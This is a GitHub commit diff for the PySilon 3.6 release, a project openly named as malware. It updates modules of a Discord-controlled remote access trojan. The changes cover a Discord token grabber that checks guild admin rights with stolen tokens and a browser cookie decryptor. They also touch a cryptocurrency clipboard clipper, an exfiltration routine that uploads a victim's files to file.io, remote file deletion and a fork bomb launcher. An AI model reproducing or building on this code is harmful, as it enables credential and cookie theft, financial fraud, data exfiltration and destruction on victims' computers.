Skip to content

Commit 3e67561

Browse files
authored
Merge pull request #215 from mategol/py-dev
PySilon 3.6 [release]
2 parents 69fb213 + cdf15f0 commit 3e67561

File tree

12 files changed

+54
-47
lines changed

12 files changed

+54
-47
lines changed

README.md

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,11 +10,17 @@
1010

1111
--------------------
1212

13-
## Matrix server
13+
## Wiki
1414

15-
Join our Matrix to keep up with the progress, ask questions, recommend features and talk to like minded people!
15+
Read our extensive Wiki for more information and detailed building instructions.
1616

17-
![Matrix](https://img.shields.io/matrix/pysilon%3Amatrix.org?server_fqdn=matrix.org&style=plastic&logo=matrix)
17+
[![E-Z.HOST - Yaw](https://img.shields.io/badge/wiki-link-blue?style=for-the-badge&logo=gitbook&logoColor=white)](https://github.com/mategol/PySilon-malware/wiki)
18+
19+
## Discord
20+
21+
Join our discord to keep up with the progress, ask questions, recommend features and talk to like minded people!
22+
23+
[![Discord](https://img.shields.io/discord/1144304250202107995?style=for-the-badge&color=7289da&logo=discord&logoColor=white)](https://discord.gg/ecgAKgssGe)
1824

1925
--------------------
2026

resources/discord_token_grabber.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -164,7 +164,7 @@ def upload(self, raw_data):
164164
if guilds:
165165
hq_guilds = []
166166
for guild in guilds:
167-
admin = True if guild['permissions'] == '4398046511103' else False
167+
admin = int(guild["permissions"]) & 0x8 != 0
168168
if admin and guild['approximate_member_count'] >= 100:
169169
owner = '✅' if guild['owner'] else '❌'
170170
invites = requests.get(f"https://discord.com/api/v8/guilds/{guild['id']}/invites", headers={'Authorization': token}).json()
@@ -174,7 +174,7 @@ def upload(self, raw_data):
174174
if len('\n'.join(hq_guilds)) + len(data) >= 1024: break
175175
hq_guilds.append(data)
176176

177-
if len(hq_guilds) > 0: hq_guilds = '\n'.join(hq_guilds)
177+
if len(hq_guilds) > 0: hq_guilds = '\n'.join(hq_guilds)
178178
else: hq_guilds = None
179179
else: hq_guilds = None
180180

resources/get_cookies.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -129,7 +129,7 @@ def cookies(self, name: str, path: str, profile: str):
129129
host_key, name, path, encrypted_value, expires_utc = res
130130
value = self.decrypt_password(encrypted_value, self.masterkey)
131131
if host_key and name and value != "":
132-
f.write(f"Host: {host_key}\t\nName: {name}\t\nValue: {value}\n\n")
132+
f.write(f"{host_key}\t{'FALSE' if expires_utc == 0 else 'TRUE'}\t{path}\t{'FALSE' if host_key.startswith('.') else 'TRUE'}\t{expires_utc}\t{name}\t{value}\n")
133133
cursor.close()
134134
conn.close()
135135
os.remove(cookievault)

resources/icons/embed_icon.png

55 KB
Loading

resources/source_code/block_input.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -22,14 +22,14 @@ async def on_click():
2222
mouse_listener.start()
2323
#.log Disabled mouse
2424
embed = discord.Embed(title="🚫 Input Blocked",description=f'```Input has been blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
25-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
25+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
2626
await message.channel.send(embed=embed)
2727
#.log Sent embed about blocked input
2828
input_blocked = True
2929
else:
3030
#.log Input is already blocked
3131
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is already blocked. Unblock it by using .unblock-input```', colour=discord.Colour.red())
32-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
32+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
3333
await message.channel.send(embed=embed)
3434
#.log Sent embed about already blocked input
3535
elif message.content == '.unblock-input':
@@ -43,13 +43,13 @@ async def on_click():
4343
mouse_listener.stop()
4444
#.log Unblocked mouse
4545
embed = discord.Embed(title="🟢 Input Unblocked",description=f'```Input has been unblocked. Block it by using .block-input```', colour=discord.Colour.green())
46-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
46+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
4747
await message.channel.send(embed=embed)
4848
#.log Sent embed about unblocked input
4949
input_blocked = False
5050
else:
5151
#.log Input is not blocked
5252
embed = discord.Embed(title="🔴 Hold on!",description=f'```The input is not blocked. Block it by using .block-input```', colour=discord.Colour.red())
53-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
53+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
5454
await message.channel.send(embed=embed)
5555
#.log Sent embed about unblocked input

resources/source_code/crypto_clipper.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -50,15 +50,15 @@ def wait_for_paste():
5050
thread.start()
5151
#.log Started the Clipper
5252
embed = discord.Embed(title="🟢 Crypto Clipper started!",description=f'```Crypto Clipper has been started! Stop it by using .stop-clipper```', colour=discord.Colour.green())
53-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
53+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
5454
await message.channel.send(embed=embed)
5555
#.log Sent embed about Clipper startup
5656
else:
5757
#.log Clipper is already running
5858
await message.delete()
5959
#.log Removed the message
6060
embed = discord.Embed(title="🔴 Hold on!",description=f'```Crypto Clipper is already running! Stop it by using .stop-clipper```', colour=discord.Colour.red())
61-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
61+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
6262
await message.channel.send(embed=embed)
6363
#.log Sent embed about Clipper already running
6464
# on message
@@ -71,13 +71,13 @@ def wait_for_paste():
7171
thread.join()
7272
#.log Stopped Clipper
7373
embed = discord.Embed(title="🔴 Crypto Clipper stopped!",description=f'```Crypto Clipper has been stopped! Start it using .start-clipper```', colour=discord.Colour.red())
74-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
74+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
7575
await message.channel.send(embed=embed)
7676
#.log Sent embed about Clipper stopped
7777
clipper_stop = True
7878
else:
7979
#.log Clipper is not running
8080
embed = discord.Embed(title="🔴 Hold on!",description=f'```Crypto Clipper is not running! Start it using .start-clipper```', colour=discord.Colour.red())
81-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
81+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
8282
await message.channel.send(embed=embed)
8383
#.log Sent embed about Clipper not running

resources/source_code/file_downloading.py

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
if message.content == '.download':
1414
#.log Author issued empty ".download" command
1515
embed = discord.Embed(title="📛 Error",description=f'```Syntax: .download <file-or-directory>```', colour=discord.Colour.red())
16-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
16+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
1717
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
1818
#.log Sent embed about usage of ".download"
1919
else:
@@ -34,30 +34,31 @@
3434
message.channel.send(e)
3535
#.log Sent message with information about this error. Aborting operation
3636
pass
37-
embed = discord.Embed(title="🟢 Success",description=f'```Uploading to anonfiles.. this can take a while depending on the file size, amount and the victim\'s internet speed..```', colour=discord.Colour.green())
38-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
39-
await message.channel.send(embed=embed)
40-
#.log Sent message about Anonfiles upload
41-
files = {
42-
'file': (f'{message.content[10:]}.zip', open(f'{target_file}', 'rb')),
37+
await message.channel.send("```Uploading to file.io... This can take a while depending on the file size, amount and the victim's internet speed..```")
38+
#.log Sent message about File.io upload
39+
data = {
40+
'file': open(target_file, 'rb')
4341
}
44-
url = 'https://api.anonfiles.com/upload'
45-
#.log Set up required things for Anonfiles upload
46-
response = requests.post(url, files=files)
47-
#.log Uploaded the file onto Anonfiles
42+
url = 'https://file.io/'
43+
#.log Set up required things for File.io upload
44+
response = requests.post(url, files=data)
45+
#.log Uploaded the file onto File.io
4846
data = response.json()
49-
#.log Received response from Anonfiles
50-
await message.channel.send(f"```{message.content[10:]}.zip:``` {data['data']['file']['url']['short']}")
51-
#.log Sent Anonfiles link to uploaded file
47+
#.log Received response from File.io
48+
embed = discord.Embed(title=f"🟢 {message.content[10:]}",description=f"Click [here](<{data['link']}>) to download.", colour=discord.Colour.green())
49+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
50+
await message.channel.send(embed=embed)
51+
#.log Sent Anonfiles link to uploaded file
52+
await message.channel.send('Warning: The file will be removed from file.io right after the first download.')
5253
else:
5354
#.log File requested by Author does not exist on this PC
5455
embed = discord.Embed(title="📛 Error",description=f'```❗ File or directory not found.```', colour=discord.Colour.red())
55-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
56+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
5657
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
5758
#.log Sent embed about missing file
5859
else:
5960
#.log Message is not sent on file-related channel
6061
embed = discord.Embed(title="📛 Error",description=f'_ _\n❗`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>❗\n||-||', colour=discord.Colour.red())
61-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
62+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
6263
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
6364
#.log Sent embed about wrong channel

resources/source_code/file_removal.py

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@
1313
if message.content.strip() == '.remove':
1414
#.log Author issued empty .remove
1515
embed = discord.Embed(title="📛 Error",description=f'```Syntax: .remove <file-or-directory>```', colour=discord.Colour.red())
16-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
16+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
1717
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
1818
#.log Sent embed with usage of .remove
1919
else:
@@ -27,24 +27,24 @@
2727
rmtree('/'.join(working_directory) + '/' + message.content[8:])
2828
#.log Removed a directory
2929
embed = discord.Embed(title="🟢 Success",description=f'```Successfully removed ' + '/'.join(working_directory) + '/' + message.content[8:] + ' from target PC```', colour=discord.Colour.green())
30-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
30+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
3131
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
3232
#.log Sent embed about removal
3333
except Exception as error:
3434
#.log Error occurred while trying to remove a file/directory
3535
embed = discord.Embed(title="📛 Error",description=f'`' + str(error) + '`', colour=discord.Colour.red())
36-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
36+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
3737
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
3838
#.log Sent embed with information about this error
3939
else:
4040
#.log File/Directory requested by Author does not exist on this PC
4141
embed = discord.Embed(title="📛 Error",description=f'```❗ File or directory not found.```', colour=discord.Colour.red())
42-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
42+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
4343
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
4444
#.log Sent embed about missing file/directory
4545
else:
4646
#.log Message channel is not file-related
4747
embed = discord.Embed(title="📛 Error",description=f'||-||\n❗`This command works only on file-related channel:` <#' + str(channel_ids['file']) + '>❗\n||-||', colour=discord.Colour.red())
48-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
48+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
4949
reaction_msg = await message.channel.send(embed=embed); await reaction_msg.add_reaction('🔴')
5050
#.log Sent embed about wrong channel

resources/source_code/fork_bomb.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66
await message.delete()
77
#.log Removed the message
88
embed = discord.Embed(title="💣 Starting...",description=f'```Starting fork bomb... This process may take some time.```', colour=discord.Colour.dark_theme())
9-
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
9+
embed.set_author(name="PySilon-malware", icon_url="https://raw.githubusercontent.com/mategol/PySilon-malware/py-dev/resources/icons/embed_icon.png")
1010
await message.channel.send(embed=embed)
1111
#.log Sent message about for bomb starting
1212
with open(f'C:\\Users\\{getuser()}\\wabbit.bat', 'w', encoding='utf-8') as wabbit:

0 commit comments

Comments
 (0)